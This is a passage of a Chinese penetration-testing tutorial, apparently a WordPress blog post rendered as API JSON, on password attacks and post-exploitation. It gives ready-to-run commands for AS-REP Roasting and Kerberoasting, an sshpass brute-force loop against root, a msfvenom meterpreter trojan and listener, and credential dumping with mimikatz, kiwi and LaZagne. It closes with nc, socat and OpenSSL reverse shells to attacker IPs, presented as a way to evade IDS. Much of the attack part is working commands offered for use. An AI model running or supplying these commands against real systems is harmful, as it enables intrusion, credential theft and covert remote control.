SMB\u7206\u7834\u672c\u8d28\u662f\u901a\u8fc7 SMB \u534f\u8bae\u5bf9\u76ee\u6807\u4e3b\u673a\u7684 NTLM \u8ba4\u8bc1\u63a5\u53e3\u8fdb\u884c\u7528\u6237\u540d\u548c\u5bc6\u7801\u7684\u6279\u91cf\u9a8c\u8bc1\uff0c\u65e2\u53ef\u4ee5\u9488\u5bf9\u672c\u5730\u8d26\u6237\uff0c\u4e5f\u53ef\u4ee5\u9488\u5bf9\u57df\u8d26\u6237\uff08\u53d6\u51b3\u4e8e\u76ee\u6807\u662f\u5426\u52a0\u5165\u57df\uff09\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
LDAP\u7206\u7834<\/h4>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
RDP\u7206\u7834<\/h4>\n\n\n\n
\u5229\u7528hydra\u6307\u5b9aRDP\u534f\u8bae\u8fdb\u884c\u7206\u7834<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
AS-REP Roasting<\/h4>\n\n\n\n
\u6b63\u5e38\u5ba2\u6237\u7aef\u53d1\u9001AS-REQ\u5fc5\u987b\u5e26\u52a0\u5bc6\u65f6\u95f4\u6233\uff0cKDC\u9a8c\u8bc1\u6210\u529f\uff0c\u8fd4\u56deAS-REP\u5305\u542bTGT
\u4f46\u662f\u67d0\u4e9b\u7528\u6237\u672a\u5f00\u542f\u9884\u9a8c\u8bc1\uff0c\u653b\u51fb\u8005\u53d1\u9001AS-REQ\uff08\u65e0\u9884\u9a8c\u8bc1\uff09KDC\u53ea\u68c0\u67e5\u7528\u6237\u662f\u5426\u5b58\u5728\uff0c\u5b58\u5728\u5c31\u4f1a\u76f4\u63a5\u8fd4\u56deAS-REP\u5305\u542bTGT\u548c\u4e00\u6bb5\u201c\u7528\u6237\u5bc6\u94a5\u201d\u52a0\u5bc6\u7684\u6570\u636e\uff0cTGT\u662f\u7531krbtgt\u52a0\u5bc6\u5bf9\u5176\u7206\u7834\u4e0d\u592a\u53ef\u80fd\uff0c\u6240\u4ee5\u4e3b\u8981\u662f\u7206\u7834\u8fd9\u4e00\u6bb5\u7528\u201c\u7528\u6237\u5bc6\u94a5\u201d\u52a0\u5bc6\u7684\u6570\u636e\u3002
\u83b7\u53d6AS-REP\uff1aGetNPUsers.py \u57df\u540d\/ -dc-ip IP -usersfile users.txt -format hashcat -outputfile asrep.txt
\u7206\u7834\u5bc6\u7801\uff1ahashcat -m 18200 –force -a 0 ‘<\u54c8\u5e0c>’ <\u5b57\u5178><\/p>\n\n\n\n
Kerberosting<\/h4>\n\n\n\n
ST\u662f\u7531\u670d\u52a1\u8d26\u6237\u7684\u5bc6\u7801\u54c8\u5e0c\u8fdb\u884c\u52a0\u5bc6\u7684\uff0c\u6240\u4ee5\u53ef\u4ee5\u901a\u8fc7\u7206\u7834\u6765\u83b7\u53d6\u670d\u52a1\u8d26\u6237\u7684\u5bc6\u7801\uff0c\u6bd4\u5982sqlserver\u53ef\u80fd\u4f1a\u5b58\u5728\u7684\u5f31\u5bc6\u7801
\u5728AD\u79cd\u670d\u52a1\u8d26\u6237=\u7528\u6765\u8fd0\u884c\u670d\u52a1\uff0c\u5e76\u6ce8\u518c\u4e86SPN\u7684\u8d26\u6237\uff0c\u6bd4\u5982\u8bbf\u95ee\u6570\u636e\u5e93db.test.local:1433\u5ba2\u6237\u7aef\u5b9e\u9645\u4f1a\u6784\u9020\u4e00\u4e2aSPN\uff1aMSSQLSvc\/db.test.local:1433
\u83b7\u53d6ST: GetUserSPNs.py -dc-ip <\u57df\u63a7ip> <\u57df\u540d>\/<\u7528\u6237>:<\u5bc6\u7801> -outputfile tgs<\/code>
\u7206\u7834: john --wordlist=<\u5b57\u5178> tgs<\/code><\/p>\n\n\n\n
Linux<\/h3>\n\n\n\n
sshpass\u7206\u7834<\/h4>\n\n\n\n
\u901a\u8fc7sshpass\u5199shell\u811a\u672c\u8fdb\u884c\u81ea\u52a8\u5316ssh\u7206\u7834<\/p>\n\n\n\n
for pwd in $(cat pass.txt); do\n    echo \"\u6b63\u5728\u5c1d\u8bd5\u5bc6\u7801: $pwd\"\n    sshpass -p \"$pwd\" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 root@<\u76ee\u6807IP> \"whoami\" &> \/dev\/null\n    \n    if [ $? -eq 0 ]; then\n        echo \"\u6210\u529f\uff01\u5339\u914d\u5230\u767b\u5f55\u51ed\u8bc1: $pwd\"\n        break\n    fi\ndone<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u51ed\u8bc1\u8bbf\u95ee<\/h2>\n\n\n\n
Windows<\/h3>\n\n\n\n
mimikatz\u8bbf\u95eeLsass\u5185\u5b58<\/h4>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
MSF\u5de5\u5177\u8bbf\u95eeLSASS\u8fdb\u7a0b<\/h4>\n\n\n\n
\u4f7f\u7528MSFvenom\u751f\u6210\u6728\u9a6c
msfvenom -p windows\/x64\/meterpreter\/reverse_tcp LHOST=192.168.52.2 LPORT=4444 -f exe -o shell64.exe<\/p>\n\n\n\n
MSF\u5f00\u542f\u76d1\u542c
use exploit\/multi\/handler
set payload windows\/x64\/meterpreter\/reverse_tcp
set LHOST 192.168.52.2
set LPORT 4444
exploit -j # -j \u8868\u793a\u5728\u540e\u53f0\u76d1\u542c<\/p>\n\n\n\n
\u9776\u673a\u6267\u884cshell.exe\uff0c\u4e0a\u7ebf\u540e\u5230MSF\u63a7\u5236\u53f0\u67e5\u770bsessions\u5e76\u8fdb\u5165meterpreter\u4f1a\u8bdd<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fdb\u884c\u4e00\u6b21\u6743\u9650\u63d0\u5347<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
load kiwi\u5de5\u5177\u8fdb\u884c\u5bc6\u7801\u6293\u53d6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Linux<\/h3>\n\n\n\n
LaZagne\u8f6c\u50a8\u8bc1\u4e66<\/h4>\n\n\n\n
\u5728 Linux \u73af\u5883\u4e0b\uff0cLaZagne \u4e3b\u8981\u7528\u4e8e\u4fe1\u606f\u6536\u96c6\uff0c\u5176\u6838\u5fc3\u80fd\u529b\u662f\u4ece\u7cfb\u7edf\u4e2d\u5df2\u5b58\u5728\u7684\u51ed\u636e\u5b58\u50a8\u4f4d\u7f6e\uff08\u5982\u73af\u5883\u53d8\u91cf\u3001\u914d\u7f6e\u6587\u4ef6\u3001\u6d4f\u89c8\u5668\u6570\u636e\u4ee5\u53ca \/etc\/shadow<\/code> \u4e2d\u7684\u54c8\u5e0c\uff09\u63d0\u53d6\u654f\u611f\u4fe1\u606f\uff0c\u800c\u4e0d\u662f\u50cf Windows \u73af\u5883\u4e2d\u90a3\u6837\u901a\u8fc7\u7edf\u4e00\u7684\u52a0\u5bc6\u673a\u5236\u89e3\u5bc6\u660e\u6587\u5bc6\u7801\u3002\u5bf9\u4e8e\u83b7\u53d6\u5230\u7684\u5bc6\u7801\u54c8\u5e0c\uff0c\u901a\u5e38\u9700\u8981\u7ed3\u5408\u79bb\u7ebf\u7834\u89e3\u624b\u6bb5\u8fd8\u539f\u660e\u6587\u540e\uff0c\u624d\u80fd\u8fdb\u4e00\u6b65\u5229\u7528\u3002
Linux\u51ed\u636e\u5206\u6563\uff0c\u4eba\u5de5\u5bb9\u6613\u9057\u6f0f\u6548\u7387\u4f4e\uff0cLaZagne\u53ef\u4ee5\u626b\u63cf\u5168\u7cfb\u7edf\u83b7\u53d6Linux\u4e0b\u7684\u51ed\u636e\u7136\u540e\u6807\u51c6\u5316\u8f93\u51fa<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Linux\u53cd\u5f39shell<\/h2>\n\n\n\n
nc\u5bf9\u5916\u5f00\u653e\u6b63\u5411shell<\/h3>\n\n\n\n
\u76f4\u63a5\u5728\u53d7\u5bb3\u8005\u4e3b\u673a\u4e0a\u5f00\u542fnc\u76d1\u542c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u653b\u51fb\u673a\u76f4\u63a5\u8fdb\u884c\u8fde\u63a5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Socat\u53cd\u5f39shell<\/h3>\n\n\n\n
socat TCP-LISTEN:4444 - \/\/\u653b\u51fb\u673a\u5f00\u542f\u76d1\u542c\nsocat TCP:192.168.75.135:4444 EXEC:\/bin\/bash \/\/\u9776\u673a\u53cd\u5f39shell<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
OpenSSL\u53cd\u5f39shell<\/h3>\n\n\n\n
\u5c06\u6240\u6709\u6307\u4ee4\u548c\u8fd4\u56de\u6570\u636e\u8fdb\u884cTLS\u52a0\u5bc6\uff0c\u8ba9\u68c0\u6d4b\u8bbe\u5907\u65e0\u6cd5\u76f4\u63a5\u770b\u5230\u6267\u884c\u7684\u547d\u4ee4\u5185\u5bb9\uff0c\u6709\u6548\u7ed5\u8fc7IDS<\/p>\n\n\n\n
OpenSSL\u9700\u8981\u8bc1\u4e66\u6765\u5b9e\u73b0\u52a0\u5bc6\u901a\u4fe1\u3002\u5728\u653b\u51fb\u673a\u4e0a\u751f\u6210\u4e00\u4e2a\u79c1\u94a5\u548c\u81ea\u7b7e\u540d\u8bc1\u4e66<\/p>\n\n\n\n
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes<\/code><\/pre>\n\n\n\n
\u653b\u51fb\u673a\u5f00\u542f\u76d1\u542c\uff0c\u4f7f\u7528Open SSL\u7684s_server\u6a21\u5757\u6a21\u62df\u4e00\u4e2a\u52a0\u5bc6\u670d\u52a1\u5668<\/p>\n\n\n\n
# -quiet \u9690\u85cf\u63e1\u624b\u4fe1\u606f\uff0c-cert \u548c -key \u6307\u5b9a\u8bc1\u4e66\uff0c-accept \u76d1\u542c\u7aef\u53e3\nopenssl s_server -quiet -key key.pem -cert cert.pem -accept 4444<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53d7\u5bb3\u673a\u53d1\u8d77\u53cd\u5f39shell<\/p>\n\n\n\n
\u53d7\u5bb3\u673a\u4e0a\u5229\u7528\u547d\u540d\u7ba1\u9053FIFO\u5c06bash\u7684\u8f93\u5165\u8f93\u51fa\u5bf9\u63a5\u7ed9OpenSSL\u5ba2\u6237\u7aef\nmkfifo \/tmp\/s; \/bin\/bash -i < \/tmp\/s 2>&1 | openssl s_client -quiet -connect 192.168.75.133:4444 > \/tmp\/s; rm \/tmp\/s\n\u521b\u5efa\u7ba1\u9053mkfifo \/tmp\/s\n\u542f\u52a8\u4e00\u4e2a\u4ea4\u4e92\u5f0fshell \/bin\/bash -i < \/tmp\/s 2>&1 \u4ece\u7ba1\u9053\u8bfb\u53d6\u547d\u4ee4\u7136\u540e\u5c06\u8f93\u51fa\u7edf\u4e00\u9001\u51fa\u53bb\n\u5efa\u7acb\u52a0\u5bc6\u8fde\u63a5\u7136\u540e\u628abash\u8f93\u51fa\u901a\u8fc7\u52a0\u5bc6\u8fde\u63a5\u53d1\u9001\u7ed9\u653b\u51fb\u673aopenssl s_client -quiet -connect 192.168.75.133:4444 > \/tmp\/s<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u5916\u7f51\u901a\u5e38\u6307\u56e0\u7279\u7f51\uff08Internet\uff09\uff0c\u8bbe\u5907\u53ea\u8981\u63a5\u5165\u516c\u7f51\uff0c\u5373\u53ef\u8bbf\u95ee\u90e8\u7f72\u5728\u4e92\u8054\u7f51\u4e2d\u7684\u5404\u7c7b\u670d\u52a1\uff0c\u8bbf\u95ee\u8303\u56f4\u76f8\u5bf9\u5f00\u653e\u3002\u5185 […]<\/p>\n","protected":false},"author":1,"featured_media":753,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17,1],"tags":[14],"class_list":["post-749","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-knowledge-base","category-lern","tag-knowledge-base"],"_links":{"self":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts\/749","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/comments?post=749"}],"version-history":[{"count":41,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts\/749\/revisions"}],"predecessor-version":[{"id":925,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts\/749\/revisions\/925"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/media\/753"}],"wp:attachment":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/media?parent=749"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/categories?post=749"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/tags?post=749"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}